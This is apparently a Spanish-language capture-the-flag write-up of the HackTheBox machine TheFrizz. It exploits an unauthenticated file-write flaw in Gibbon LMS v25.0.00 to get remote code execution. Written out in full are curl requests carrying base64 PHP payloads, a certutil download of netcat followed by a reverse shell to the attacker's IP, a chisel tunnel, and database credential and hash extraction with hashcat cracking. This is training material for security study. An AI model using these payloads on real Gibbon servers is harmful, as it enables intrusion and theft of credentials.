This page looks best with JavaScript enabled

HackTheBox - TheFrizz

TheFrizz corre Gibbon con una version vulnerable que tras un analisis de codigo logramos la ejecucion de comandos. Realizamos Port Forwarding para acceder al puerto de la base de datos y obtener credenciales en esta que permitieron ingresar por SSH mediante Kerberos. Descubrimos una contrasena dentro de un backup para el acceso a un segundo usuario. Este ultimo, pertenece al grupo ‘Group Policy Creator Owners’ por lo que creamos un objeto ‘vulnerable’ para luego con SharpGPOAbuse ejecutar comandos que finalmente nos dio acceso como administrador.

Nombre TheFrizz
OS

Windows

Puntos 30
Dificultad Medium
Fecha de Salida 2025-03-15
IP 10.10.11.60
Maker

0xPizzaCat

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [98, 53, 190, 533, 880, 721, 581, 248, 64, 165],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: SSH (22), DNS (53), HTTP (80), Kerberos (88), MSRPC (135), SMB (139, 445), LDAP (389, 3268).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# Nmap 7.95 scan initiated Tue Mar 18 19:14:57 2025 as: /usr/lib/nmap/nmap --privileged -p22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49667,49670,52878,52882,52893 -sV -sC -oN nmap_scan 10.10.11.60
Nmap scan report for 10.10.11.60
Host is up (0.24s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD-TCP: 
|     _services
|     _dns-sd
|     _udp
|_    local
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-19 06:15:04Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
52878/tcp open  msrpc         Microsoft Windows RPC
52882/tcp open  msrpc         Microsoft Windows RPC
52893/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=3/18%Time=67D9FE87%P=x86_64-pc-linux-gnu%r(DNS-
SF:SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04
SF:_udp\x05local\0\0\x0c\0\x01");
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-03-19T06:15:57
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 18 19:16:42 2025 -- 1 IP address (1 host up) scanned in 105.29 seconds

SMB

Samba parece no aceptar solicitudes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ smbclient -L \\10.10.11.60
session setup failed: NT_STATUS_NOT_SUPPORTED
❯ smbmap -H 10.10.11.60

[...]

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                      
[!] Something weird happened on (10.10.11.60) Error occurs while reading from remote(104) on line 1015                       
[*] Closed 1 connections                                                                                                     

Web Site

El sitio web nos redirige al subdominio frizzdc.frizz.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.60
HTTP/1.1 302 Found
Date: Wed, 19 Mar 2025 06:22:41 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Location: http://frizzdc.frizz.htb/home/
Content-Type: text/html; charset=iso-8859-1

El dominio nos redirige al subdominio.

1
2
3
4
5
6
7
8
❯ curl -sI frizz.htb
HTTP/1.1 302 Found
Date: Wed, 19 Mar 2025 06:23:57 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Location: http://frizzdc.frizz.htb/home/
Content-Type: text/html; charset=iso-8859-1

El sitio presenta informacion de una escuela.

image

El boton de ‘Staff Login’ nos redirige al login de Gibbon en su version v25.0.00.

image

Gibbon v25.0.00

La version de Gibbon tiene una vulnerabilidad LFI (CVE-2023-34598) que permite incluir archivos mediante q=[file], unicamente presentes en la carpeta de gibbon. En este caso se cargo el archivo .sql.

image

Analysis - Gibbon Repo

Clonamos Gibbon de github en la rama que pertenece a su version v25.0.00 para buscar algun archivo que nos permita el acceso al portal, credenciales, subida de archivos o a la misma maquina.

1
❯ git clone -b v25.0.00 https://github.com/GibbonEdu/core.git Gibbon

Encontramos una lista muy larga de archivos y carpetas dentro del proyecto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ ls
 cli            CHANGELOG.txt     index.php                                         indexFindRedirect.php               phpstan.neon                     roleSwitcherProcess.php
 i18n           composer.json     index_fastFinder_ajax.php                         keepAlive.php                       preferences.php                  update.php
 installer      composer.lock     index_notification_ajax.php                       LICENSE                             preferencesPasswordProcess.php   version.php
 lib            error.php         index_notification_ajax_alarm.php                 login.php                           preferencesProcess.php           yearSwitcherProcess.php
 modules        export.php        index_notification_ajax_alarm_tickUpdate.php      logout.php                          privacyPolicy.php               
 resources      favicon.ico       index_notification_ajax_alarmConfirmProcess.php   notifications.php                   publicRegistration.php          
󱧼 src            fullscreen.php    index_notification_ajax_alarmProcess.php          notificationsActionProcess.php      publicRegistrationCheck.php     
󰙨 tests          functions.php     index_parentPhotoDeleteProcess.php                notificationsDeleteAllProcess.php   publicRegistrationProcess.php   
 themes         gibbon.php        index_parentPhotoUploadProcess.php                notificationsDeleteProcess.php      README.md                       
 uploads        gibbon.sql        index_tt_ajax.php                                 passwordReset.php                   report.php                      
 CHANGEDB.php   gibbon_demo.sql   indexExport.php                                   passwordResetProcess.php           󰚩 robots.txt                      

Upload Files - Fail

Iniciamos buscando archivos que utilicen la carpeta uploads, se listan multiples archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ grep --color -iwr "uploads" | grep -v "lib/*" | grep -v themes | grep -v .github 2>/dev/null
resources/imports/usersFull.yml:        desc: "path from /uploads/ to medium portrait image (240px by 320px)"
resources/imports/usersBasic.yml:        desc: "path from /uploads/ to medium portrait image (240px by 320px)"
resources/imports/usersStaff.yml:        desc: "path from /uploads/ to medium portrait image (240px by 320px)"
modules/Staff/staff_manage_edit_contract_addProcess.php:                    // Upload the file, return the /uploads relative path
modules/Staff/staff_manage_edit_contract_editProcess.php:                    // Upload the file, return the /uploads relative path
modules/Staff/coverage_view_editProcess.php:        // Upload the file, return the /uploads relative path
modules/Staff/applicationFormProcess.php:                    // Upload the file, return the /uploads relative path
modules/Staff/applicationForm_manage_editProcess.php:                            // Upload the file, return the /uploads relative path
modules/Finance/expenseRequest_manage_reimburseProcess.php:                        // Upload the file, return the /uploads relative path
modules/Students/report_students_IDCards.php:                // Upload the file, return the /uploads relative path
modules/Students/medicalForm_manage_condition_editProcess.php:                    // Upload the file, return the /uploads relative path
modules/Students/applicationFormProcess.php:                        // Upload the file, return the /uploads relative path
modules/Students/applicationForm_manage_editProcess.php:                            // Handle multiple file uploads (and transpose array)
modules/Students/applicationForm_manage_editProcess.php:                            $uploads = array();
modules/Students/applicationForm_manage_editProcess.php:                                    $uploads[$subkey][$key] = $subvalue;
modules/Students/applicationForm_manage_editProcess.php:                            foreach ($uploads as $file) {
modules/Students/applicationForm_manage_editProcess.php:                                // Upload the file, return the /uploads relative path
modules/Students/medicalForm_manage_condition_addProcess.php:                    // Upload the file, return the /uploads relative path
modules/Formal Assessment/externalAssessment_manage_details_addProcess.php:            // Upload the file, return the /uploads relative path
modules/Formal Assessment/internalAssessment_manage_addProcess.php:            // Upload the file, return the /uploads relative path
modules/Formal Assessment/internalAssessment_write_dataProcess.php:                            // Upload the file, return the /uploads relative path
modules/Formal Assessment/internalAssessment_write_dataProcess.php:                    // Upload the file, return the /uploads relative path
modules/Formal Assessment/externalAssessment_manage_details_editProcess.php:                    // Upload the file, return the /uploads relative path
modules/Formal Assessment/internalAssessment_manage_editProcess.php:                    // Upload the file, return the /uploads relative path
modules/User Admin/user_manage_editProcess.php:                            // Upload the file, return the /uploads relative path
modules/User Admin/user_manage_addProcess.php:                            // Upload the file, return the /uploads relative path

# [...] snip [...]

El archivo staff_manage_edit_contract_addProcess muestra el uso de FileUploader.

1
2
3
4
5
# modules/Staff/staff_manage_edit_contract_addProcess.php
$fileUploader = new Gibbon\FileUploader($pdo, $gibbon->session);
$row = $form->addRow();
$row->addLabel('file1', __('Contract File'));
$row->addFileUpload('file1')->accepts($fileUploader->getFileExtensions('Document'));

Se listan varios archivos que lo utilizan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ grep --color -iwr "FileUploader" | grep -v "lib/*" | grep -v themes | grep -v ".git*" 2>/dev/null
modules/Staff/staff_manage_edit_contract_addProcess.php:                    $fileUploader->getFileExtensions('Document');
modules/Staff/staff_manage_edit_contract_addProcess.php:                    $contractUpload = $fileUploader->uploadFromPost($file, $username);
modules/Staff/staff_manage_edit_contract_add.php:                $row->addFileUpload('file1')->accepts($fileUploader->getFileExtensions('Document'));
modules/Staff/applicationForm_manage_edit.php:                                ->accepts($fileUploader->getFileExtensions())
modules/Staff/staff_manage_edit_contract_edit.php:                    ->accepts($fileUploader
modules/Staff/applicationForm.php:                        ->accepts($fileUploader->getFileExtensions())
modules/Staff/staff_manage_edit_contract_editProcess.php:                    $fileUploader->getFileExtensions('Document');
modules/Staff/staff_manage_edit_contract_editProcess.php:                    $contractUpload = $fileUploader->uploadFromPost($file, $username);
modules/Staff/coverage_view_editProcess.php:use Gibbon\FileUploader;
modules/Staff/coverage_view_editProcess.php:        $content = $fileUploader->uploadFromPost($_FILES['file']);
modules/Staff/applicationFormProcess.php:                    $attachment = $fileUploader->uploadFromPost($file, 'StaffApplicationDocument');
modules/Staff/applicationForm_manage_editProcess.php:                            $attachment = $fileUploader->uploadFromPost($file, 'ApplicationDocument');
modules/Finance/expenseRequest_manage_reimburseProcess.php:                        $attachment = $fileUploader->uploadFromPost($file, $row['title']);
modules/Students/applicationForm_manage_edit.php:                    ->accepts($fileUploader->getFileExtensions())
modules/Students/report_students_IDCards.php:                $attachment = $fileUploader->uploadFromPost($file, 'Card_BG');
modules/Students/report_students_IDCards.php:                        echo ' '.$fileUploader->getLastError();
modules/Students/medicalForm_manage_condition_editProcess.php:use Gibbon\FileUploader;
modules/Students/medicalForm_manage_condition_editProcess.php:                    $attachment = $fileUploader->uploadFromPost($_FILES['attachment']);
modules/Students/applicationForm.php:                    ->accepts($fileUploader->getFileExtensions())
modules/Students/applicationFormProcess.php:                        $attachment = $fileUploader->uploadFromPost($file, 'ApplicationDocument');
# [...] snip [...]

El codigo de FileUploader.php muestra la subida de archivos, sin embargo este genera parte del nombre del archivo totalmente random por lo que seria casi imposible encontrar el nombre del archivo en tan poco tiempo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function getRandomizedFilename($filename, $destinationFolder)
    {
        if ($this->fileSuffixType == self::FILE_SUFFIX_NONE) {
            return $filename;
        }

        $extension = mb_substr(mb_strrchr(strtolower($filename), '.'), 1);
        $name = mb_substr($filename, 0, mb_strrpos($filename, '.'));
        $name = preg_replace('/[^a-zA-Z0-9_-]/', '', $name);

        // Use password policy to generate random string
        $randStrGenerator = new PasswordPolicy(true, true, false, 16);
        for ($count = 0; $count < 100; $count++) {
            if ($this->fileSuffixType == self::FILE_SUFFIX_INCREMENTAL) {
                $suffix = ($count > 0)? '_'.$count : '';
            } else {
                $suffix = '_'.$randStrGenerator->generate();
            }

            $randomizedFilename = $name.$suffix.'.'.$extension;
            if (!(file_exists($destinationFolder.'/'.$randomizedFilename))) {
                return $randomizedFilename;
            }
        }
        return false;
    }

Dangerous Functions

Con la subida de archivos descartada realizamos una busqueda de funciones peligrosas. Encontramos el uso de la funcion fopen().

1
2
3
4
5
6
7
8
❯ grep --color -iwr "fopen" | grep -v "lib/*" | grep -v themes | grep -v ".git*" 2>/dev/null
modules/Timetable Admin/tt_import.php:                        $handle = fopen($csvFile, 'r');
modules/Rubrics/rubrics_visualise_saveAjax.php:$fp = fopen($absolutePath.'/'.$imgPath, 'w');
tests/unit/Installer/ProcessConfigVarsTest.php:        $fh = fopen($filename, 'w');
tests/unit/Installer/ProcessConfigVarsTest.php:        $fh = fopen($filename, 'w');
src/Install/Installer.php:        $fp = fopen($context->getConfigPath(), 'wb');
src/Data/Importer.php:        $this->csvFileHandler = fopen($csvFile, "r");

tt_import.php necesita acceso al portal y como administrador para poder acceder a la funcion.

image

En el caso de rubrics_visualise_saveAjax.php no necesita autenticacion. Muestra que necesita tres paremetros a traves del metodo POST, con estos permitiria la creacion de un archivo.

El parametro img debe de estar codificado en base64 este seria el contenido del archivo, path, la direccion con el nombre del archivo a guardar y gibbonPersonID un valor numerico. De ser exitosa la creacion este retornaria el direccion y nombre del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 

// [...]

require_once "../../../gibbon.php";

$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');

if (empty($img) || empty($gibbonPersonID) || empty($absolutePath)) {
    return;
}

// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img)      = explode(',', $img);
$img = base64_decode($img);

// Create an uploads path if one isn't supplied
if (empty($imgPath)) {
    $fileUploader = new Gibbon\FileUploader($pdo, $gibbon->session);
    $imgPath = $fileUploader->getUploadsFolderByDate().'/rubric_visualisation_'.$gibbonPersonID.'.png';
}

// Ensure destination folder exists
$destinationFolder = $absolutePath.'/'.dirname($imgPath);
if (is_dir($destinationFolder) == false) {
    mkdir($destinationFolder, 0755, true);
}

// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);

// Return image path to AJAX
echo $imgPath;

Creating a File

Intentamos acceder a traves del LFI pero nos muestra un mensaje de error, seguramente por intentar incluir gibbon.php.

image
image

Sin embargo, podemos acceder a este archivo directamente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ curl -sI http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
HTTP/1.1 200 OK
Date: Fri, 28 Mar 2025 07:24:29 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Set-Cookie: G60fa1cd0af7be78b=6dqoa1l6f417hvf3jr3uspv6ua; path=/; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Expires: Thu, 1 Jan 1970 00:00:00 GMT
Content-Type: text/html; charset=UTF-8

Creamos el contenido PHP de nuestro archivo y lo codificamos en base64.

1
2
# <?php phpinfo();
PD9waHAgcGhwaW5mbygpOw==

Enviamos la solicitud POST para crear un archivo con el nombre test.php, la respuesta muestra el nombre del archivo, por lo que fue exitoso.

image

Tras acceder al archivo observamos que se ejecuto el contenido php.

image

Command Execution

Intentamos ejecutar un ping a nuestra maquina.

1
2
3
4
5
6
# <?php system("ping 10.10.14.105");
# PD9waHAgc3lzdGVtKCJwaW5nIDEwLjEwLjE0LjEwNSIpOw==

❯ curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" -H "Content-Type: application/x-www-form-urlencoded" -d "img=data:image/png;base64,PD9waHAgc3lzdGVtKCJwaW5nIDEwLjEwLjE0LjEwNSIpOw==" -d path=ping.php -d gibbonPersonID=1 -x "http://127.0.0.1:8080"
ping.php

Tras visitar el archivo se ejecuto el ping.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:27:31.600035 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 5, length 40
02:27:31.600067 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 5, length 40
02:27:32.508379 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 6, length 40
02:27:32.508419 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 6, length 40
02:27:33.422383 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 7, length 40
02:27:33.422402 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 7, length 40
02:27:34.336385 IP frizzdc.frizz.htb > 10.10.14.105: ICMP echo request, id 1, seq 8, length 40
02:27:34.336404 IP 10.10.14.105 > frizzdc.frizz.htb: ICMP echo reply, id 1, seq 8, length 40

Update: esta vulnerabilidad ya estaba reportada como CVE-2023-45878

User - w.webservice

Ejecutamos una shell inversa descargando netcat en la maquina y ejecutando este.

1
2
3
4
5
6
7
# PHP code
# <?php system("certutil.exe -urlcache -split -f http://10.10.14.105/nc.exe nc.exe && .\\nc.exe -e cmd.exe 10.10.14.105 1338");

# base64
# PD9waHAgc3lzdGVtKCJjZXJ0dXRpbC5leGUgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8vMTAuMTAuMTQuMTA1L25jLmV4ZSBuYy5leGUgJiYgLlxcbmMuZXhlIC1lIGNtZC5leGUgMTAuMTAuMTQuMTA1IDEzMzgiKTs=

EXEC=$(curl -sX POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" -H "Content-Type: application/x-www-form-urlencoded" -d "img=data:image/png;base64,PD9waHAgc3lzdGVtKCJjZXJ0dXRpbC5leGUgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8vMTAuMTAuMTQuMTA1L25jLmV4ZSBuYy5leGUgJiYgLlxcbmMuZXhlIC1lIGNtZC5leGUgMTAuMTAuMTQuMTA1IDEzMzgiKTs=" -d "gibbonPersonID=1" -d path=sc.php); curl -s 'http://frizzdc.frizz.htb/Gibbon-LMS/'$EXEC

Logramos el acceso a la maquina a traves de este usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.101] from frizz.htb [10.10.11.60] 50215
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\Gibbon-LMS>whoami
whoami
frizz\w.webservice

C:\xampp\htdocs\Gibbon-LMS>

En el archivo de configuracion de Gibbon encontramos las credenciales para la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C:\xampp\htdocs\Gibbon-LMS>type config.php | findstr /v "*"
<?php
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

$caching = 10;

C:\xampp\htdocs\Gibbon-LMS>

Sin embargo por alguna razon no fue posible conectarnos a la base de datos localmente.

1
2
3
4
5
C:\xampp\mysql\bin>mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -D gibbson
mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -D gibbson
ERROR 1044 (42000): Access denied for user 'MrGibbonsDB'@'localhost' to database 'gibbson'

C:\xampp\mysql\bin>

Port Forwarding - Chisel

Ejecutamos chisel como servidor en nuestra maquina.

1
2
3
4
5
❯ ./chisel server --reverse --port 7070
2025/03/28 02:48:02 server: Reverse tunnelling enabled
2025/03/28 02:48:02 server: Fingerprint //rsQs0pJozZwwmq0K8mAWEYkFDkmZ9ayBFNvvO9Xr4=
2025/03/28 02:48:02 server: Listening on http://0.0.0.0:7070
2025/03/28 02:49:00 server: session#1: tun: proxy#R:3306=>3306: Listening

Descargamos y ejecutamos chisel en la maquina para obtener el puerto 3306.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
C:\xampp\htdocs\Gibbon-LMS\tm>certutil.exe -urlcache -split -f http://10.10.14.105/chisel.exe
certutil.exe -urlcache -split -f http://10.10.14.105/chisel.exe
****  Online  ****
  000000  ...
  94f000
CertUtil: -URLCache command completed successfully.

C:\xampp\htdocs\Gibbon-LMS\tm>chisel.exe client 10.10.14.105:7070 R:3306
chisel.exe client 10.10.14.105:7070 R:3306
2025/03/28 00:53:54 client: Connecting to ws://10.10.14.105:7070
2025/03/28 00:53:56 client: Connected (Latency 237.3903ms)

Observamos el puerto localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:38707         0.0.0.0:*               LISTEN      101546/chrome --dis 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      7143/java           
tcp6       0      0 127.0.0.1:40581         :::*                    LISTEN      7143/java           
tcp6       0      0 :::3306                 :::*                    LISTEN      126262/./chisel     
tcp6       0      0 :::7070                 :::*                    LISTEN      126262/./chisel     

Gibbon Database

Con ello, localmente logramos acceder a MySQL con las credenciales.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ sudo mysql -u MrGibbonsDB -P 3306 -p --skip-ssl
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 140
Server version: 10.4.32-MariaDB mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gibbon             |
| information_schema |
| test               |
+--------------------+
3 rows in set (0.214 sec)

MariaDB [(none)]>

De la base de datos gibbon encontramos columnas para credenciales en la tabla gibbonperson.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
MariaDB [(none)]> use gibbon;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [gibbon]> show tables;
+---------------------------------------+
| Tables_in_gibbon                      |
+---------------------------------------+
| gibbonaction                          |
| gibbonactivity                        |
| gibbonactivityattendance              |
[...] snip [...]
| gibbonoutcome                         |
| gibbonpayment                         |
| gibbonpermission                      |
| gibbonperson                          |
| gibbonpersonaldocument                |
| gibbonpersonaldocumenttype            |
[...] snip [...]
| gibbonusernameformat                  |
| gibbonyeargroup                       |
+---------------------------------------+
191 rows in set (0.216 sec)

MariaDB [gibbon]> describe gibbonperson;
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| Field                     | Type                                                  | Null | Key | Default     | Extra          |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| gibbonPersonID            | int(10) unsigned zerofill                             | NO   | PRI | NULL        | auto_increment |
| title                     | varchar(5)                                            | NO   |     | NULL        |                |
| surname                   | varchar(60)                                           | NO   |     |             |                |
| firstName                 | varchar(60)                                           | NO   |     |             |                |
| preferredName             | varchar(60)                                           | NO   |     |             |                |
| officialName              | varchar(150)                                          | NO   |     | NULL        |                |
| nameInCharacters          | varchar(60)                                           | NO   |     | NULL        |                |
| gender                    | enum('M','F','Other','Unspecified')                   | NO   |     | Unspecified |                |
| username                  | varchar(20)                                           | NO   | UNI | NULL        |                |
| passwordStrong            | varchar(255)                                          | NO   |     | NULL        |                |
| passwordStrongSalt        | varchar(255)                                          | NO   |     | NULL        |                |
| passwordForceReset        | enum('N','Y')                                         | NO   |     | N           |                |
| status                    | enum('Full','Expected','Left','Pending Approval')     | NO   |     | Full        |                |
| canLogin                  | enum('Y','N')                                         | NO   |     | Y           |                |

[...] snip [...]

| fields                    | text                                                  | NO   |     | NULL        |                |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
94 rows in set (0.217 sec)

MariaDB [gibbon]>

Obtuvimos los registros de estas columnas y se observa el usuario f.frizzle con el hash y salt de contrasena.

1
2
3
4
5
6
7
8
9
MariaDB [gibbon]> select username,passwordStrong,passwordStrongSalt from gibbonperson;
+-----------+------------------------------------------------------------------+------------------------+
| username  | passwordStrong                                                   | passwordStrongSalt     |
+-----------+------------------------------------------------------------------+------------------------+
| f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |
+-----------+------------------------------------------------------------------+------------------------+
1 row in set (0.214 sec)

MariaDB [gibbon]>

Cracking the Hash

Segun el codigo de Gibbon, este utiliza Sha256 para los hashes. Agregamos el hash y salt en un archivo.

1
2
3
4
# SHA256
# username | passwordStrong | passwordStrongSalt
# f.frizzle	067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03	/aACFhikmNopqrRTVz2489
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489

Ejecutamos hashcat sobre el archivo utilizando el modo 1420 que representa sha256($salt.$pass), logrando obtener en texto plano el valor de la contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
PS C:\Users\sckull\Documents\hashcat-6.2.6> .\hashcat.exe -m 1420 -a 0 ../hash/frizz_hash rockyou.txt
hashcat (v6.2.6) starting

[...]

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 421 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1420 (sha256($salt.$pass))
Hash.Target......: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff...Vz2489
Time.Started.....: Wed Mar 19 04:54:26 2025 (1 sec)
Time.Estimated...: Wed Mar 19 04:54:27 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 28190.1 kH/s (1.68ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12582912/14344385 (87.72%)
